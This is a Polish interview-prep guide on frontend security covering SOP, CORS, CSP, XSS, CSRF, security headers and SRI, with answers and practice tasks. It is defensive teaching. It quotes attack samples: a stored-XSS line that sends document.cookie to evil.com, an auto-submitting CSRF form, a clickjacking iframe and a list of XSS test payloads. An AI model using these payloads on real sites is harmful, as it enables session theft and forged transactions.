Frontend Security - CSP, CORS, XSS - Pytania Rekrutacyjne i Przewodnik 2026
Na rozmowie rekrutacyjnej pada pytanie: "Jak zabezpieczysz aplikację przed XSS?". Kandydat odpowiada: "Używam React, więc jest bezpieczne". To odpowiedź, która natychmiast dyskwalifikuje. React escapuje dane, ale nie chroni przed DOM-based XSS, nie ustawia CSP, nie konfiguruje CORS. Bezpieczeństwo frontend to znacznie więcej niż wybór frameworka.
W tym przewodniku znajdziesz wszystko, co musisz wiedzieć o bezpieczeństwie frontend na rozmowę rekrutacyjną - od fundamentów Same-Origin Policy, przez CSP i CORS, po praktyczne techniki ochrony przed XSS i CSRF.
Jak odpowiedzieć na pytania o bezpieczeństwo frontend
Odpowiedź w 30 sekund
"Bezpieczeństwo frontend opiera się na kilku warstwach. Same-Origin Policy to domyślna ochrona przeglądarki blokująca cross-origin requests. CORS pozwala serwerowi kontrolowanie, kto może wykonywać takie żądania. CSP definiuje, z jakich źródeł można ładować zasoby - to główna ochrona przed XSS. Dodatkowo: secure cookies z HttpOnly i SameSite, nagłówki bezpieczeństwa jak X-Frame-Options, oraz sanityzacja danych wejściowych."
Odpowiedź w 2 minuty
Bezpieczeństwo frontend to wielowarstwowy system, gdzie każda warstwa chroni przed innymi zagrożeniami.
Pierwsza warstwa to Same-Origin Policy - wbudowany mechanizm przeglądarki, który blokuje JavaScript z jednej domeny przed odczytywaniem danych z innej. Origin to kombinacja protokołu, domeny i portu. Dzięki SOP, złośliwy skrypt na evil.com nie może wykonać fetch do twojego banku i przeczytać odpowiedzi.
CORS to mechanizm pozwalający serwerowi ominąć SOP dla wybranych domen. Gdy wykonujesz żądanie cross-origin, przeglądarka dodaje nagłówek Origin. Serwer odpowiada Access-Control-Allow-Origin wskazując, czy dana domena ma dostęp. Dla "niebezpiecznych" żądań (np. POST z JSON) przeglądarka najpierw wysyła preflight OPTIONS, pytając serwer o zgodę.
CSP (Content Security Policy) to druga linia obrony - definiuje, skąd mogą pochodzić zasoby. Dyrektywa script-src 'self' oznacza, że tylko skrypty z tej samej domeny mogą być wykonane. Blokuje to większość ataków XSS, bo wstrzyknięty skrypt nie będzie miał autoryzowanego źródła. Można też użyć nonce lub hash dla konkretnych skryptów inline.
Trzecia warstwa to secure cookies. Atrybut HttpOnly uniemożliwia JavaScript dostęp do cookie - nawet jeśli XSS się powiedzie, atakujący nie wykradnie sesji. SameSite kontroluje wysyłanie cookies w żądaniach cross-site, chroniąc przed CSRF. Secure wymusza HTTPS.
Na poziomie kodu: escapowanie danych wyjściowych (textContent zamiast innerHTML), sanityzacja HTML wejściowego (DOMPurify), walidacja po stronie serwera, i świadome używanie niebezpiecznych API (eval, innerHTML, document.write).
Same-Origin Policy - Fundament Bezpieczeństwa
Czym jest Origin?
Origin to kombinacja trzech elementów: protokołu, domeny i portu. Dwa URL-e mają ten sam origin, gdy wszystkie trzy są identyczne.
// Te URL-e mają różne origins:
https://example.com // origin A
https://example.com:8080 // origin B (inny port)
http://example.com // origin C (inny protokół)
https://api.example.com // origin D (inna subdomena)
https://example.org // origin E (inna domena)
// Te URL-e mają ten sam origin:
https://example.com/page1
https://example.com/page2
https://example.com:443 // 443 to domyślny port HTTPS
Co blokuje Same-Origin Policy?
SOP blokuje JavaScript z domeny A przed:
- Czytaniem odpowiedzi fetch/XMLHttpRequest z domeny B
- Dostępem do DOM iframe z domeny B
- Czytaniem cookies, localStorage, sessionStorage domeny B
// Na stronie evil.com
fetch('https://bank.com/api/balance')
.then(res => res.json())
.then(data => {
// Ten kod NIGDY nie zostanie wykonany
// Przeglądarka zablokuje odczyt odpowiedzi
sendToAttacker(data);
});
Czego SOP NIE blokuje
Ważne rozróżnienie: SOP blokuje odczyt odpowiedzi, ale nie blokuje wysłania żądania.
// To żądanie ZOSTANIE wysłane
fetch('https://bank.com/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 1000 })
});
// Tylko odpowiedź będzie niedostępna
// Dlatego CSRF jest możliwy nawet z SOP!
Dodatkowo SOP nie blokuje ładowania zasobów przez tagi HTML:
-
<img src="https://other-domain.com/image.png">- działa -
<script src="https://cdn.com/lib.js">- działa -
<link href="https://other.com/style.css">- działa
To dlatego potrzebujemy CSP.
CORS - Cross-Origin Resource Sharing
Jak działa CORS
CORS to mechanizm pozwalający serwerowi powiedzieć przeglądarce: "akceptuję żądania z tej domeny".
Żądanie z https://app.com do https://api.com:
1. Przeglądarka wysyła:
GET /data HTTP/1.1
Origin: https://app.com
2. Serwer odpowiada:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.com
3. Przeglądarka widzi pasujący nagłówek → udostępnia odpowiedź JavaScript
Simple Requests vs Preflight
Przeglądarka rozróżnia "proste" i "złożone" żądania. Proste żądania nie wymagają preflight:
// Simple request - bez preflight
fetch('https://api.com/data'); // GET
fetch('https://api.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});
// Wymagają preflight:
fetch('https://api.com/data', {
method: 'PUT' // metoda inna niż GET/HEAD/POST
});
fetch('https://api.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json' // niestandardowy Content-Type
}
});
fetch('https://api.com/data', {
headers: {
'X-Custom-Header': 'value' // niestandardowy nagłówek
}
});
Preflight Request
Preflight to żądanie OPTIONS wysyłane przed właściwym żądaniem:
1. Preflight:
OPTIONS /data HTTP/1.1
Origin: https://app.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, X-Auth-Token
2. Odpowiedź preflight:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, X-Auth-Token
Access-Control-Max-Age: 86400
3. Dopiero teraz właściwe żądanie:
PUT /data HTTP/1.1
Origin: https://app.com
Content-Type: application/json
X-Auth-Token: abc123
CORS z Credentials
Domyślnie CORS nie wysyła cookies. Aby je włączyć:
// Frontend
fetch('https://api.com/data', {
credentials: 'include' // wysyłaj cookies
});
// Backend musi odpowiedzieć:
// Access-Control-Allow-Origin: https://app.com (NIE może być *)
// Access-Control-Allow-Credentials: true
Ważne: gdy używasz credentials: 'include', serwer NIE może odpowiedzieć Access-Control-Allow-Origin: *. Musi być konkretna domena.
Typowe błędy CORS
// Błąd: "No 'Access-Control-Allow-Origin' header"
// Przyczyna: serwer nie ustawia nagłówka CORS
// Błąd: "Wildcard '*' cannot be used with credentials"
// Przyczyna: credentials: 'include' z Access-Control-Allow-Origin: *
// Błąd: "Method PUT is not allowed"
// Przyczyna: brak PUT w Access-Control-Allow-Methods
// Błąd: "Request header X-Auth-Token is not allowed"
// Przyczyna: brak X-Auth-Token w Access-Control-Allow-Headers
Content Security Policy (CSP)
Czym jest CSP?
CSP to nagłówek HTTP (lub meta tag) definiujący, z jakich źródeł mogą pochodzić zasoby. To najskuteczniejsza ochrona przed XSS.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.com; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.com
Kluczowe dyrektywy CSP
default-src - domyślne źródło dla wszystkich typów zasobów
script-src - skąd można ładować JavaScript
style-src - skąd można ładować CSS
img-src - skąd można ładować obrazy
font-src - skąd można ładować fonty
connect-src - do jakich URL-i można wykonywać fetch/XHR/WebSocket
frame-src - jakie URL-e można osadzać w iframe
media-src - skąd można ładować audio/video
object-src - skąd można ładować <object>, <embed>, <applet>
base-uri - jakie wartości może mieć <base href="">
form-action - gdzie mogą być wysyłane formularze
frame-ancestors - kto może osadzać stronę w iframe (jak X-Frame-Options)
Wartości źródeł
'self' - ta sama domena
'none' - nic nie dozwolone
'unsafe-inline' - inline scripts/styles (osłabia CSP!)
'unsafe-eval' - eval(), Function(), setTimeout(string)
'strict-dynamic' - zaufaj skryptom ładowanym przez zaufane skrypty
https: - dowolne źródło HTTPS
data: - data: URI
blob: - blob: URI
'nonce-abc123' - skrypty z atrybutem nonce="abc123"
'sha256-...' - skrypty z pasującym hashem
CSP z Nonce
Nonce to jednorazowy token generowany dla każdego request:
<!-- Serwer generuje losowy nonce dla każdego żądania -->
<script nonce="abc123xyz">
// Ten skrypt się wykona
console.log('Autoryzowany skrypt');
</script>
<script>
// Ten skrypt ZABLOKOWANY - brak nonce
console.log('Nieautoryzowany skrypt');
</script>
Content-Security-Policy: script-src 'nonce-abc123xyz'
CSP z Hash
Alternatywa dla nonce - hash zawartości skryptu:
<script>alert('hello')</script>
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='
Hash obliczany jest z dokładnej zawartości skryptu (włącznie z białymi znakami).
Przykłady CSP
# Bardzo restrykcyjny CSP (idealny cel)
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-abc123';
style-src 'self';
img-src 'self' https://images.cdn.com;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
# CSP dla aplikacji z Google Analytics i CDN
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://cdn.jsdelivr.net 'nonce-xyz789';
style-src 'self' 'unsafe-inline';
img-src 'self' https://www.google-analytics.com data:;
connect-src 'self' https://www.google-analytics.com https://api.example.com
# CSP Report-Only (testowanie bez blokowania)
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report
CSP Reporting
CSP może raportować naruszenia:
Content-Security-Policy: default-src 'self'; report-uri /csp-report
// POST /csp-report
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"original-policy": "default-src 'self'",
"disposition": "enforce"
}
}
XSS - Cross-Site Scripting
Typy XSS
Reflected XSS - złośliwy skrypt w URL, odbijany przez serwer:
https://example.com/search?q=<script>alert('XSS')</script>
Serwer zwraca:
<p>Wyniki dla: <script>alert('XSS')</script></p>
Stored XSS - złośliwy skrypt zapisany w bazie danych:
Atakujący wstawia komentarz:
<script>fetch('https://evil.com?cookie='+document.cookie)</script>
Każdy użytkownik widząc komentarz wykonuje ten skrypt.
DOM-based XSS - złośliwy skrypt manipuluje DOM bez udziału serwera:
// Podatny kod:
const search = new URLSearchParams(location.search).get('q');
document.getElementById('output').innerHTML = search;
// URL atakującego:
// ?q=<img src=x onerror="alert('XSS')">
Ochrona przed XSS
1. Escapowanie danych wyjściowych:
// ŹLE - podatne na XSS
element.innerHTML = userInput;
// DOBRZE - bezpieczne
element.textContent = userInput;
// Jeśli potrzebujesz HTML:
function escapeHtml(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
element.innerHTML = escapeHtml(userInput);
2. Sanityzacja HTML (gdy musisz pozwolić na HTML):
import DOMPurify from 'dompurify';
// Usuwa niebezpieczne elementy i atrybuty
const clean = DOMPurify.sanitize(dirtyHtml);
element.innerHTML = clean;
// Konfiguracja
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
3. CSP blokuje inline scripts:
Content-Security-Policy: script-src 'self'
4. HttpOnly cookies:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
JavaScript nie może odczytać cookie z HttpOnly - nawet jeśli XSS się powiedzie.
5. Frameworki z automatycznym escapowaniem:
// React - automatyczne escapowanie
function Comment({ text }) {
return <div>{text}</div>; // Bezpieczne - text jest escapowany
}
// Niebezpieczne API - świadomie używane
<div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />
// Angular - automatyczne escapowanie
@Component({
template: '<div>{{ userInput }}</div>' // Bezpieczne
})
// Niebezpieczne API
@Component({
template: '<div [innerHTML]="trustedHtml"></div>'
})
CSRF - Cross-Site Request Forgery
Jak działa CSRF
<!-- Na stronie evil.com -->
<form action="https://bank.com/transfer" method="POST" id="attack">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('attack').submit();</script>
Jeśli użytkownik jest zalogowany do bank.com, przeglądarka automatycznie dołączy cookies sesji do tego żądania.
Ochrona przed CSRF
1. SameSite Cookies:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
-
SameSite=Strict- cookie NIGDY nie wysyłane z żądań cross-site -
SameSite=Lax- cookie wysyłane tylko dla nawigacji top-level (kliknięcie linku) -
SameSite=None- cookie wysyłane zawsze (wymaga Secure)
2. CSRF Tokens:
<!-- Serwer generuje unikalny token dla każdej sesji/żądania -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="unique-token-abc123">
<input type="text" name="to">
<input type="number" name="amount">
<button>Transfer</button>
</form>
Serwer weryfikuje, czy token w żądaniu pasuje do tokena w sesji.
3. Weryfikacja nagłówka Origin:
// Serwer sprawdza nagłówek Origin
app.post('/api/transfer', (req, res) => {
const origin = req.headers.origin;
if (origin !== 'https://bank.com') {
return res.status(403).send('Forbidden');
}
// Kontynuuj...
});
Inne nagłówki bezpieczeństwa
X-Content-Type-Options
X-Content-Type-Options: nosniff
Zapobiega MIME sniffing - przeglądarka nie zgaduje typu pliku, używa tylko Content-Type.
X-Frame-Options
X-Frame-Options: DENY
# lub
X-Frame-Options: SAMEORIGIN
Chroni przed clickjacking - blokuje osadzanie strony w iframe.
Strict-Transport-Security (HSTS)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Wymusza HTTPS - przeglądarka automatycznie przekierowuje HTTP na HTTPS.
Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin
Kontroluje, ile informacji wysyłać w nagłówku Referer.
Permissions-Policy
Permissions-Policy: geolocation=(), microphone=(), camera=()
Kontroluje dostęp do API przeglądarki (dawniej Feature-Policy).
Kompletny zestaw nagłówków
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Subresource Integrity (SRI)
SRI pozwala zweryfikować, że zasób z CDN nie został zmodyfikowany:
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha384-abc123..."
crossorigin="anonymous">
Jeśli hash nie pasuje, zasób nie zostanie załadowany.
# Generowanie hash
openssl dgst -sha384 -binary library.js | openssl base64 -A
# lub
cat library.js | shasum -a 384 | xxd -r -p | base64
Pytania rekrutacyjne z odpowiedziami
Pytanie 1: Wyjaśnij różnicę między Same-Origin Policy a CORS
Odpowiedź: Same-Origin Policy to domyślna polityka bezpieczeństwa przeglądarki - blokuje JavaScript z jednej domeny przed odczytaniem danych z innej domeny. Origin to kombinacja protokołu, domeny i portu.
CORS to mechanizm pozwalający serwerowi ominąć SOP dla wybranych domen. Serwer ustawia nagłówki Access-Control-Allow-* wskazujące, które domeny mają dostęp. CORS nie wyłącza SOP - rozszerza je o kontrolowane wyjątki.
Kluczowa różnica: SOP to restrykcja domyślna, CORS to mechanizm jej poluzowania pod kontrolą serwera.
Pytanie 2: Kiedy przeglądarka wysyła preflight request?
Odpowiedź: Przeglądarka wysyła preflight (OPTIONS) przed żądaniem, które jest "nieprostym" (non-simple) według specyfikacji CORS:
- Metoda inna niż GET, HEAD, POST
- Nagłówki inne niż Accept, Accept-Language, Content-Language, Content-Type
- Content-Type inny niż application/x-www-form-urlencoded, multipart/form-data, text/plain
Preflight pyta serwer o zgodę przed wysłaniem właściwego żądania. Odpowiedź może być cache'owana (Access-Control-Max-Age).
Pytanie 3: Jak CSP chroni przed XSS?
Odpowiedź: CSP definiuje whitelistę źródeł, z których mogą pochodzić zasoby. Dla ochrony przed XSS kluczowa jest dyrektywa script-src.
Jeśli CSP mówi script-src 'self', to:
- Skrypty z tej samej domeny się wykonają
- Skrypty inline są blokowane (chyba że użyjesz nonce lub hash)
- Skrypty z obcych domen są blokowane
- eval() jest blokowane
Nawet jeśli atakujący wstrzyknie <script>alert('XSS')</script>, skrypt nie zostanie wykonany, bo nie ma autoryzowanego źródła (brak nonce, hash, ani external source).
Pytanie 4: Czym różni się 'unsafe-inline' od nonce w CSP?
Odpowiedź:
'unsafe-inline' pozwala na wszystkie skrypty inline - jest to słabe zabezpieczenie, bo atakujący może wstrzyknąć dowolny inline script.
Nonce to jednorazowy token generowany dla każdego żądania. Tylko skrypty z pasującym atrybutem nonce się wykonają:
<script nonce="abc123">OK</script> <!-- Wykona się -->
<script>alert('XSS')</script> <!-- Zablokowane -->
Nonce jest bezpieczniejsze, bo atakujący nie zna wartości nonce dla danego żądania. Wymaga jednak generowania unikalnego nonce per request na serwerze.
Pytanie 5: Jak działa atak CSRF i jak się przed nim bronić?
Odpowiedź: CSRF wykorzystuje fakt, że przeglądarka automatycznie dołącza cookies do żądań. Atakujący tworzy stronę z formularzem wysyłającym żądanie do podatnej aplikacji. Jeśli ofiara jest zalogowana, żądanie zostanie wykonane z jej uprawnieniami.
Obrona wielowarstwowa:
-
SameSite cookies -
SameSite=StrictlubLaxblokuje wysyłanie cookies w żądaniach cross-site - CSRF tokens - unikalny token per sesja/request, weryfikowany przez serwer
- Weryfikacja Origin - serwer sprawdza nagłówek Origin żądania
- Custom headers - żądania API wymagają nagłówków, których nie można dodać z obcych domen bez CORS
Pytanie 6: Co to jest DOM-based XSS i jak się różni od reflected/stored?
Odpowiedź: DOM-based XSS dzieje się całkowicie po stronie klienta - złośliwy payload nigdy nie trafia na serwer. Podatny JavaScript czyta dane z URL (location.hash, location.search) i wstawia je do DOM.
// Podatny kod
document.getElementById('output').innerHTML = location.hash.slice(1);
// URL atakującego
// https://example.com/#<img src=x onerror="alert('XSS')">
Różnice:
- Reflected - payload w żądaniu, serwer go odbija w odpowiedzi
- Stored - payload zapisany w bazie, serwowany każdemu
- DOM-based - payload w URL, przetwarzany tylko przez JavaScript w przeglądarce
Obrona: nie używać innerHTML z danymi użytkownika, zawsze używać textContent lub sanityzacji.
Pytanie 7: Wyjaśnij atrybuty HttpOnly, Secure i SameSite dla cookies
Odpowiedź: HttpOnly - cookie niedostępne dla JavaScript (document.cookie). Chroni przed kradzieżą sesji przez XSS.
Secure - cookie wysyłane tylko przez HTTPS. Chroni przed przechwyceniem przez ataki MITM.
SameSite - kontroluje wysyłanie cookies w żądaniach cross-site:
-
Strict- tylko same-origin requests -
Lax- same-origin + nawigacja top-level (kliknięcie linku) -
None- wszystkie żądania (wymaga Secure)
Idealna kombinacja dla sesji:
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
Pytanie 8: Co to jest clickjacking i jak się przed nim bronić?
Odpowiedź: Clickjacking to atak, gdzie atakujący osadza twoją stronę w niewidocznym iframe i nakłada na nią własne elementy. Użytkownik myśli, że klika na stronie atakującego, ale faktycznie klika na twojej stronie.
<iframe src="https://bank.com/transfer" style="opacity: 0; position: absolute;"></iframe>
<button>Click to win a prize!</button>
Obrona:
- X-Frame-Options: DENY - blokuje osadzanie strony w iframe
- X-Frame-Options: SAMEORIGIN - pozwala tylko z tej samej domeny
- CSP frame-ancestors 'none' - nowszy odpowiednik DENY
- CSP frame-ancestors 'self' - odpowiednik SAMEORIGIN
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
Pytanie 9: Jak bezpiecznie ładować zewnętrzne skrypty z CDN?
Odpowiedź: Trzy warstwy ochrony:
1. Subresource Integrity (SRI) - weryfikacja hash:
<script
src="https://cdn.com/lib.js"
integrity="sha384-abc123..."
crossorigin="anonymous">
</script>
2. CSP whitelist - tylko zaufane CDN:
Content-Security-Policy: script-src 'self' https://cdn.com
3. Atrybut crossorigin - kontrola dostępu do błędów:
<script src="https://cdn.com/lib.js" crossorigin="anonymous"></script>
Bez crossorigin, błędy z external scripts są ukryte ("Script error."). Z crossorigin możesz je logować.
Pytanie 10: Jak przetestować czy aplikacja jest podatna na XSS?
Odpowiedź: Metody testowania:
1. Ręczne wstrzykiwanie payloadów:
<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
javascript:alert('XSS')
" onmouseover="alert('XSS')
2. Sprawdzenie wszystkich punktów wejścia:
- Pola formularzy
- Parametry URL
- Nagłówki (User-Agent, Referer)
- Dane z localStorage/sessionStorage
- Dane z WebSocket/API
3. Narzędzia automatyczne:
- OWASP ZAP
- Burp Suite
- XSS Hunter
4. Weryfikacja zabezpieczeń:
- Czy CSP jest ustawiony?
- Czy dane są escapowane?
- Czy innerHTML jest używane z danymi użytkownika?
- Czy cookies mają HttpOnly?
5. Code review:
- Szukaj: innerHTML, outerHTML, document.write, eval, Function()
- Sprawdź, czy dane wejściowe są walidowane/sanityzowane
Zadania praktyczne
Zadanie 1: Napisz politykę CSP
Napisz CSP dla aplikacji, która:
- Ładuje skrypty z własnej domeny i cdn.jsdelivr.net
- Używa inline styles (z nonce)
- Ładuje obrazy z dowolnego źródła HTTPS
- Wykonuje API calls do api.example.com
- Nie może być osadzana w iframe
Rozwiązanie
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'nonce-abc123';
img-src 'self' https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
Zadanie 2: Napraw podatny kod
function displayUserProfile(userId) {
fetch(`/api/users/${userId}`)
.then(res => res.json())
.then(user => {
document.getElementById('name').innerHTML = user.name;
document.getElementById('bio').innerHTML = user.bio;
document.getElementById('website').innerHTML =
`<a href="${user.website}">Visit website</a>`;
});
}
Rozwiązanie
import DOMPurify from 'dompurify';
function displayUserProfile(userId) {
// Walidacja userId (powinno być liczbą/UUID)
if (!isValidUserId(userId)) {
throw new Error('Invalid user ID');
}
fetch(`/api/users/${encodeURIComponent(userId)}`)
.then(res => res.json())
.then(user => {
// Używaj textContent zamiast innerHTML dla zwykłego tekstu
document.getElementById('name').textContent = user.name;
// Sanityzacja HTML jeśli bio może zawierać formatowanie
document.getElementById('bio').innerHTML = DOMPurify.sanitize(user.bio);
// Walidacja URL przed wstawieniem
const websiteUrl = sanitizeUrl(user.website);
const link = document.createElement('a');
link.href = websiteUrl;
link.textContent = 'Visit website';
document.getElementById('website').innerHTML = '';
document.getElementById('website').appendChild(link);
});
}
function sanitizeUrl(url) {
try {
const parsed = new URL(url);
// Pozwól tylko na http/https
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return '#';
}
return parsed.href;
} catch {
return '#';
}
}
Zadanie 3: Skonfiguruj CORS na serwerze
Napisz middleware Express.js, który:
- Pozwala na żądania z https://app.example.com
- Obsługuje credentials (cookies)
- Pozwala na metody GET, POST, PUT, DELETE
- Pozwala na nagłówki Content-Type i Authorization
- Cache'uje preflight na 1 godzinę
Rozwiązanie
function corsMiddleware(req, res, next) {
const allowedOrigin = 'https://app.example.com';
// Sprawdź Origin
if (req.headers.origin === allowedOrigin) {
res.setHeader('Access-Control-Allow-Origin', allowedOrigin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
// Obsługa preflight
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '3600'); // 1 godzina
return res.status(204).end();
}
}
next();
}
// Alternatywnie z biblioteką cors:
const cors = require('cors');
app.use(cors({
origin: 'https://app.example.com',
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 3600
}));
Zobacz też
- Kompletny Przewodnik - Rozmowa Frontend Developer - pełny przewodnik przygotowawczy
- 15 Najtrudniejszych Pytań Rekrutacyjnych z JavaScript - dogłębne pytania JS
- Web Performance i Core Web Vitals - optymalizacja wydajności
- HTML5 i Accessibility - semantyka i dostępność
- Node.js Backend - Kompletny Przewodnik - bezpieczeństwo backend
Napisane przez zespół Flipcards, na podstawie doświadczeń z rozmów rekrutacyjnych w firmach technologicznych i software house'ach w Polsce i za granicą.
Chcesz więcej pytań rekrutacyjnych?
To tylko jeden temat z naszego kompletnego przewodnika po rozmowach rekrutacyjnych. Uzyskaj dostęp do 800+ pytań z 13 technologii.
